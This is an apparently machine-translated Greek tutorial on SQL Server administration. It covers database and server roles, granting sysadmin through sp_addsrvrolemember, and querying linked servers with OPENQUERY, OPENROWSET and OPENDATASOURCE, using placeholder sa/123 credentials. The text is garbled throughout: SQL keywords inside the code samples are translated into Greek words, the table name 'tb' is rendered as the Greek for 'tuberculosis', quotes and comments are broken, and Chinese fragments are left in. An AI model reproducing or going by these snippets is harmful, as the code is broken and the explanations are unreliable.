db_accessadmin Μπορείτε να προσθέσετε ή να αφαιρέσετε αναγνωριστικά χρήστη.
db_securityadmin Μπορεί να διαχειριστεί τα πλήρη δικαιώματα, την ιδιοκτησία αντικειμένων, τους ρόλους και τις συνδρομές ρόλων.
db_ddladmin μπορούν να εκδώσουν ΟΛΑ τα DDL, αλλά όχι τις δηλώσεις GRANT, RECALL ή DENY.
db_backupoperator μπορεί να εκδώσει δηλώσεις DBCC, CHECKPOINT και BACKUP.
db_datareader Μπορείτε να επιλέξετε όλα τα δεδομένα από οποιονδήποτε πίνακα χρήστη στη βάση δεδομένων.
db_datawriter Μπορείτε να αλλάξετε όλα τα δεδομένα σε οποιονδήποτε πίνακα χρήστη στη βάση δεδομένων.
db_denydatareader Δεν μπορείτε να επιλέξετε δεδομένα από οποιονδήποτε πίνακα χρήστη στη βάση δεδομένων.
db_denydatawriter Δεν μπορείτε να αλλάξετε δεδομένα σε κανέναν πίνακα χρήστη στη βάση δεδομένων.
Θα πρέπει να επιλέξετε db_datareader, db_datawriter db_accessadmin
5. Μετά την εκκίνηση της παρουσίας του SQL Server σε λειτουργία ενός χρήστη, ο λογαριασμός διαχειριστή των Windows μπορεί να χρησιμοποιήσει το εργαλείο sqlcmd για να συνδεθεί σε λειτουργία ελέγχου ταυτότητας των Windows
SQL Server。 Μπορείτε να χρησιμοποιήσετε εντολές T-SQL όπως "sp_addsrvrolemember" για να προσθέσετε μια υπάρχουσα σύνδεση στον ρόλο διακομιστή sysadmin
ή δημιουργήστε έναν νέο λογαριασμό σύνδεσης. Ένα παράδειγμα δήλωσης είναι το εξής:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
ΠΗΓΑΙΝΩ
Προσθήκη προνομίου διαχειριστή συστήματος
(1) Διαχείριση ρόλων διακομιστή
Στον SQL Server, υπάρχουν δύο κύριες αποθηκευμένες διαδικασίες που υλοποιούν τη διαχείριση ρόλων του SQL Server:
sp_addsrvrolemember
και sp_dropsrvrolemember
sp_addsrvrolemember Μπορείτε να προσθέσετε έναν λογαριασμό σύνδεσης σε έναν ρόλο διακομιστή για να τον κάνετε μέλος αυτού του ρόλου διακομιστή. Η σύνταξη έχει ως εξής: sp_addsrvrolemember
σύνδεση , ρόλος
sp_dropsrvrolemember Μπορείτε να διαγράψετε έναν λογαριασμό σύνδεσης από έναν ρόλο διακομιστή και όταν το μέλος καταργηθεί από τον ρόλο διακομιστή, δεν έχει πλέον αυτόν τον ρόλο διακομιστή
Τα δικαιώματα που έχουν οριστεί. Η σύνταξη έχει ως εξής: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
σε αυτό
@loginname είναι το όνομα του συνδεδεμένου χρήστη. @rolename είναι ένας ρόλος διακομιστή.
(2) Διαχείριση ρόλων βάσης δεδομένων
Στον SQL Server, υποστηρίζεται η διαχείριση βάσεων δεδομένων
Υπάρχουν έξι κύριοι τύποι αποθηκευμένων διαδικασιών και οι συγκεκριμένες έννοιες και η σύνταξή τους είναι οι εξής:
sp_addrole: Χρησιμοποιείται για τη δημιουργία ενός νέου ρόλου βάσης δεδομένων. sp_addrole
ρόλος, ιδιοκτήτης
sp_droprole: Χρησιμοποιείται για την κατάργηση ενός ρόλου βάσης δεδομένων από τον τρέχοντα ρόλο βάσης δεδομένων. sp_droprole ρόλος
sp_helprole:
Χρησιμοποιείται για την εμφάνιση όλων των πληροφοριών σχετικά με όλους τους ρόλους της βάσης δεδομένων στην τρέχουσα βάση δεδομένων. sp_helprole ['ρόλος']
sp_addrolemember: Χρησιμοποιείται για αποστολή στη βάση δεδομένων
Προσθέστε χρήστες βάσης δεδομένων σε έναν ρόλο, ο οποίος μπορεί να είναι τυπικοί ρόλοι που ορίζονται από το χρήστη ή σταθεροί ρόλοι βάσης δεδομένων, αλλά δεν μπορούν να
Ρόλοι εφαρμογής. sp_addrolemember ρόλος, security_account
sp_droprolemember: Χρησιμοποιείται για τη διαγραφή ενός συγκεκριμένου χαρακτήρα
νοικοκυριό; sp_droprolemember ρόλο, security_account
sp_helprolemember: Χρησιμοποιείται για την εμφάνιση όλων των μελών ενός ρόλου βάσης δεδομένων
。 sp_helprolemember ['ρόλος']
Ερώτημα MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Συγγραφέας :
htl258(Αντωνάκης) -- Ημερομηνία : 2010-06-25 22:23:18 -- Έκδοση: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 Ιουλίου 2008 14:43:34 -- Πνευματικά δικαιώματα (c) 1988-2008 Microsoft Corporation --
Developer Edition στα Windows NT 5.1 (Build 2600: Service Pack 2) -- Ιστολόγιο : -- Θέμα: Λειτουργίες δεδομένων SQL μεταξύ διαφορετικών βάσεων δεδομένων διακομιστή ---------------------------------------------------------------------------------- --1. Δημιουργία διακομιστή συνδέσμων --1.1 Δημιουργήστε ένα όνομα συνδέσμου EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' το όνομα του απομακρυσμένου διακομιστή
ή διεύθυνση IP» -- Εάν έχετε ένα προσαρμοσμένο όνομα παρουσίας, προσθέστε "\όνομα παρουσίας"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Δημιουργήστε μια σύνδεση (ή δημιουργήστε έναν χάρτη σύνδεσης διακομιστή συνδέσμων) (απλώς επιλέξτε έναν τρόπο) --1.2.1 Συνδεθείτε με έλεγχο ταυτότητας των Windows EXEC sp_addlinkedsrvlogin 'ΌνομαΣυνδέσμου' --ή EXEC sp_addlinkedsrvlogin 'LinkName','true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Συνδεθείτε με έλεγχο ταυτότητας SQL EXEC sp_addlinkedsrvlogin 'ΌνομαΣυνδέσμου','false',NULL,'Όνομα χρήστη','Κωδικός πρόσβασης'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Σύνδεση λειτουργιών δεδομένων που σχετίζονται με διακομιστή --2.1 Παράδειγμα ερωτήματος ΕΠΙΛΟΓΗ * ΑΠΟ Όνομα_Link.όνομα βάσης δεδομένων.όνομα σχήματος.όνομα πίνακα.όνομα πίνακα
/*例如:SELECT *
ΑΠΟ TonyLink.Mydb.dbo.tb */ -- 2.2 Παράδειγμα εισαγωγής SELECT * INTO όνομα πίνακα FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
ΑΠΟ TonyLink.Mydb.dbo.tb */ -- 2.3 Παράδειγμα ενημέρωσης ΕΝΗΜΕΡΩΣΗ Όνομα συνδέσμου.Όνομα βάσης δεδομένων.Όνομα σχήματος.Όνομα πίνακα SET field='τιμή' WHERE πεδίο='συνθήκη'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Διαγραφή παραδειγμάτων ΔΙΑΓΡΑΦΗ Όνομα_συνδέσμου.Όνομα βάσης δεδομένων.Όνομα σχήματος.Όνομα πίνακα Όνομα πεδίου ΟΠΟΥ='συνθήκη'
/*例如:DELETE
TonyLink.Mydb.dbo.tb ΟΠΟΥ Πρόσωπα='g' */ --3 μέσω της συνάρτησης rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Μέθοδος
- 3.1 Μέθοδος OPENQUERY (απαιτεί τη βοήθεια του διακομιστή συνδέσμων που μόλις δημιουργήσατε): -- 3.1.1 Παράδειγμα ερωτήματος SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα»)
/* Για παράδειγμα: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Παραδείγματα εισαγωγής --3.1.2.1 Εισαγωγή όλων των στηλών INSERT OPENQUERY(LinkName, 'SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα
') ΕΠΙΛΕΞΤΕ * ΑΠΟ τον τοπικό πίνακα
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
ΑΠΟ tb */ --3.1.2.2 Εισαγωγή των καθορισμένων στηλών INSERT OPENQUERY(LinkName, 'SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα') (στήλη, στήλη...) SELECT,
Στήλη... ΑΠΟ τοπικό τραπέζι
/* Για παράδειγμα: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ΔΙΑΛΈΓΩ
ΣΕΙΡΑ,ΕΠΙΠΕΔΟ,Άτομα ΑΠΟ tb */ --3.1.3 Παραδείγματα ενημέρωσης UPDATE OPENQUERY(ΌνομαΣυνδέσμου, 'SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα') πεδίο SET = 'τιμή' ΟΠΟΥ λέξη
Segment = 'Συνθήκη'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Πρόσωπα='α' */ --3.1.4 Διαγραφή παραδειγμάτων DELETE OPENQUERY(ΌνομαΣυνδέσμου, 'SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα') WHERE όνομα πεδίου = 'συνθήκη'
/*例
Για παράδειγμα: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET (δεν χρειάζεται να χρησιμοποιήσετε το όνομα του συνδέσμου που δημιουργήθηκε.) Εάν το όνομα της συνδεδεμένης παρουσίας δεν είναι το προεπιλεγμένο, πρέπει να το ορίσετε στο όνομα διακομιστή sql ή στη διεύθυνση IP.
"\όνομα παρουσίας") --3.2.1 Παράδειγμα ερωτήματος --3.2.1.1 Ερώτημα μεθόδου ελέγχου ταυτότητας των Windows (αρκεί μία από τις ακόλουθες μεθόδους) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή
Διεύθυνση IP; Trusted_Connection=yes', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLNCLI',
'server=sql όνομα διακομιστή ή διεύθυνση IP; Trusted_Connection=yes', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΟΓΗ * ΑΠΟ
OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; Trusted_Connection=yes','SELECT * FROM βάση δεδομένων
Όνομα. Όνομα αρχιτεκτονικής. όνομα πίνακα») ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLNCLI', 'server=sql όνομα διακομιστή ή διεύθυνση IP
Διεύθυνση; Trusted_Connection=yes','SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα»)
/* Για παράδειγμα: ΕΠΙΛΕΞΤΕ * ΑΠΟ OPENROWSET
('SQLOLEDB','Διακομιστής=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Ή: ΕΠΙΛΕΞΤΕ * ΑΠΟ OPENROWSET
('SQLNCLI','Διακομιστής=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Ή: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
ΑΠΟ Mydb.dbo.tb')
Ή: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
ΑΠΟ Mydb.dbo.tb') */ --3.2.1.2 Ερώτημα μεθόδου ελέγχου ταυτότητας SQL (Μία από τις ακόλουθες μεθόδους είναι επαρκής) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET
('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΟΓΗ * ΑΠΟ
OPENROWSET('SQLNCLI', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password','SELECT *
Όνομα βάσης δεδομένων FROM. Όνομα αρχιτεκτονικής. όνομα πίνακα») ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLNCLI', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=
Όνομα χρήστη; pwd=password','SELECT * FROM όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα») ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLOLEDB', 'sql
όνομα διακομιστή»· «όνομα χρήστη»· 'password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLNCLI', 'ΌΝΟΜΑ ΔΙΑΚΟΜΙΣΤΉ SQL
'; «όνομα χρήστη»· 'password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' Χρήστης
ονομασία»· 'Κωδικός πρόσβασης', 'ΕΠΙΛΕΞΤΕ * ΑΠΟ όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα») ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENROWSET('SQLNCLI', 'sql server
ονομασία»· «όνομα χρήστη»· 'Κωδικός πρόσβασης', 'ΕΠΙΛΕΞΤΕ * ΑΠΟ όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. όνομα πίνακα»)
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ή: ΕΠΙΛΕΞΤΕ * ΑΠΟ OPENROWSET
('SQLNCLI','διακομιστής=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ή: ΕΠΙΛΕΞΤΕ * ΑΠΟ OPENROWSET
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123','ΕΠΙΛΟΓΗ * ΑΠΟ Mydb.dbo.tb')
ή: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','ΕΠΙΛΟΓΗ * ΑΠΟ
Mydb.dbo.tb')
ή: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; «σα»· '123',mydb.dbo.tb)
ή: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; «σα»· '123',mydb.dbo.tb)
ή: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; «σα»· '123','ΕΠΙΛΟΓΗ * ΑΠΟ Mydb.dbo.tb')
ή: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; «σα»· '123','ΕΠΙΛΟΓΗ * ΑΠΟ Mydb.dbo.tb') */ --3.2.2 Παράδειγμα εισαγωγής --3.2.2.1 Εισαγωγή όλων των στηλών INSERT OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP
Διεύθυνση; uid=όνομα χρήστη; pwd=password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) ΕΠΙΛΟΓΗ * ΑΠΟ τοπικό πίνακα
/* 例如:INSERT OPENROWSET
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ΕΠΙΛΟΓΗ * ΑΠΟ tb */ --3.2.2.2 Εισαγωγή
Καθορισμός στηλών INSERT OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password', όνομα βάσης δεδομένων. ράφι
Κατασκευή ονόματος. όνομα πίνακα) (στήλη, στήλη...) SELECT στήλη, στήλη... ΑΠΟ τοπικό τραπέζι
/* 例如:INSERT OPENROWSET
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ΕΎΡΟΣ,ΕΠΙΠΕΔΟ,Άτομα) ΔΙΑΛΈΓΩ
ΣΕΙΡΑ,ΕΠΙΠΕΔΟ,Άτομα ΑΠΟ tb */ --Σημείωση: Για περισσότερες εναλλακτικές μεθόδους, ανατρέξτε στο παράδειγμα ερωτήματος .2.1, απλώς αντικαταστήστε τη συνάρτηση OPENROWSET
Το περιεχόμενο είναι επαρκές. --3.2.3 Παράδειγμα ενημέρωσης ΕΝΗΜΕΡΩΣΗ OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη
;p wd=password', όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα) Πεδίο SET = 'τιμή' Πεδίο WHERE = 'συνθήκη'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Πρόσωπα = 'g' ΟΠΟΥ: Πρόσωπα='α' */ --Σημείωση: Για περισσότερες εναλλακτικές μεθόδους, ανατρέξτε στο παράδειγμα ερωτήματος .2.1, απλώς αντικαταστήστε το περιεχόμενο στο OPENROWSET. --3.2.4 Να διαγραφεί η ένδειξη
Παράδειγμα ΔΙΑΓΡΑΦΗ OPENROWSET('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password', όνομα βάσης δεδομένων. Όνομα σχήματος
.όνομα πίνακα) Όνομα πεδίου WHERE='συνθήκη'
/* Για παράδειγμα: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ΠΟΥ
Πρόσωπα = «ζ» */ --Σημείωση: Για περισσότερες εναλλακτικές μεθόδους, δείτε το παράδειγμα ερωτήματος .2.1, απλώς αντικαταστήστε το περιεχόμενο στο OPENROWSET. --3.3 Μέθοδος OPENDATASOURCE
(Δεν χρειάζεται να χρησιμοποιήσετε το όνομα του συνδέσμου που δημιουργήθηκε.) Εάν το όνομα παρουσίας της σύνδεσης δεν είναι το προεπιλεγμένο, πρέπει να προσθέσετε \όνομα παρουσίας μετά το όνομα του sql server ή τη διεύθυνση IP
") --3.3.1 Παράδειγμα ερωτήματος --3.3.1.1 Ερώτημα μεθόδου ελέγχου ταυτότητας των Windows (Μία από τις ακόλουθες μεθόδους είναι επαρκής) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENDATASOURCE('SQLOLEDB',
'server=sql όνομα διακομιστή ή διεύθυνση IP; Trusted_Connection=yes'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα ΕΠΙΛΟΓΗ * ΑΠΟ
OPENDATASOURCE('SQLNCLI', 'server=sql όνομα διακομιστή ή διεύθυνση IP; Trusted_Connection=yes'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής.
Όνομα πίνακα
/* Για παράδειγμα: SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Διακομιστής=192.168.58.208; Trusted_Connection=ναι'). Mydb.dbo.tb
Ή: ΕΠΙΛΕΞΤΕ * ΑΠΟ OPENDATASOURCE
('SQLNCLI','Διακομιστής=192.168.58.208; Trusted_Connection=ναι'). Mydb.dbo.tb */ --3.3.1.2 Ερώτημα μεθόδου ελέγχου ταυτότητας SQL (αρκεί μία από τις ακόλουθες μεθόδους) ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENDATASOURCE('SQLOLEDB', 'server=sql όνομα διακομιστή ή
Διεύθυνση IP; uid=όνομα χρήστη; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENDATASOURCE('SQLNCLI', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=χρήστης
Όνομα; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENDATASOURCE('SQLOLEDB', 'Data Source=sql όνομα διακομιστή ή διεύθυνση IP
Διεύθυνση; uid=όνομα χρήστη; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα ΕΠΙΛΈΞΤΕ * ΑΠΌ ΤΟ OPENDATASOURCE('SQLNCLI', 'Data Source=sql όνομα διακομιστή ή διεύθυνση IP
Διεύθυνση; uid=όνομα χρήστη; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Διακομιστής=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ή: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ή: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Πηγή=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ή: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
πηγή=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Εισαγωγή όλων των στηλών INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password').
Σύμφωνα με το όνομα της βιβλιοθήκης. Όνομα αρχιτεκτονικής. Όνομα πίνακα ΕΠΙΛΟΓΗ * ΑΠΟ τοπικό πίνακα
/* Για παράδειγμα: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ΔΙΑΛΈΓΩ
* ΑΠΟ φυματίωση */ --3.3.2.2 Εισαγωγή των καθορισμένων στηλών INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password').
Σύμφωνα με το όνομα της βιβλιοθήκης. Όνομα αρχιτεκτονικής. Όνομα πίνακα (στήλη, στήλη...) SELECT στήλη, στήλη... ΑΠΟ τοπικό τραπέζι
/* Για παράδειγμα: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ΕΥΡΟΣ,ΕΠΙΠΕΔΟ,Άτομα) ΕΠΙΛΕΞΤΕ ΣΕΙΡΑ,ΕΠΙΠΕΔΟ,Άτομα ΑΠΟ φυματίωση */ --Σημείωση: Για περισσότερες εναλλακτικές μεθόδους, δείτε το παράδειγμα ερωτήματος .3.1, απλώς αντικαταστήστε το περιεχόμενο στη συνάρτηση συνόλου γραμμών (OPENDATASOURCE). --3.3.3 Παράδειγμα ενημέρωσης UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα Πεδίο SET = 'τιμή' Πεδίο WHERE = 'συνθήκη'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Πρόσωπα = 'g' ΟΠΟΥ: Πρόσωπα='α' */ --Σημείωση: Για περισσότερες εναλλακτικές μεθόδους, δείτε το παράδειγμα ερωτήματος .3.1, απλώς αντικαταστήστε το περιεχόμενο στη συνάρτηση συνόλου γραμμών (OPENDATASOURCE). --3.3.4 Διαγραφή παραδείγματος ΔΙΑΓΡΑΦΗ OPENDATASOURCE('SQLOLEDB', 'server=sql όνομα διακομιστή ή διεύθυνση IP; uid=όνομα χρήστη; pwd=password'). Όνομα βάσης δεδομένων. Όνομα αρχιτεκτονικής. Όνομα πίνακα Όνομα πεδίου WHERE='συνθήκη'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','διακομιστής=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ΟΠΟΥ: Πρόσωπα='ζ' */ - Σημείωση: Περισσότερες εναλλακτικές λύσεις
Ανατρέξτε στο παράδειγμα ερωτήματος .3.1, απλώς αντικαταστήστε το περιεχόμενο στη συνάρτηση rowset (OPENDATASOURCE). -- Διαγραφή της μεθόδου συνδεδεμένου διακομιστή --Εάν δεν χρησιμοποιείτε πλέον τις πληροφορίες συνδέσμου στο μέλλον, μπορείτε να διαγράψετε τις πληροφορίες συνδέσμου --4.1 Διαγραφή πληροφοριών σύνδεσης (ή διαγραφή αντιστοίχισης ονόματος σύνδεσης συνδεδεμένου διακομιστή) EXEC sp_droplinkedsrvlogin 'ΌνομαΣυνδέσμου',NULL
/* Για παράδειγμα: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Διαγράψτε το όνομα του συνδεδεμένου διακομιστή EXEC sp_dropserver 'LinkName','droplogins' -- εάν έχουν καθοριστεί droplogins, Ο χάρτης σύνδεσης πρέπει να διαγραφεί πριν από τη διαγραφή του συνδεδεμένου διακομιστή
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Επισυνάπτεται
: Πώς να λάβετε το όνομα παρόχου (κύριος EXEC.). xp_enum_oledb_providers) SELECT CAST([Όνομα παρόχου] AS
VARCHAR(30)) Όνομα_παρόχου, CAST([Περιγραφή παρόχου{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion ΑΠΟ
OPENROWSET( «SQLOLEDB», 'Διακομιστής=.; Trusted_Connection=ναι», «ΞΕΚΙΝΉΣΤΕ ΜΌΝΟ ΤΟ FMTONLY. ΣΤΕΛΕΧΟΣ
κύριος.. xp_enum_oledb_providers»
)
|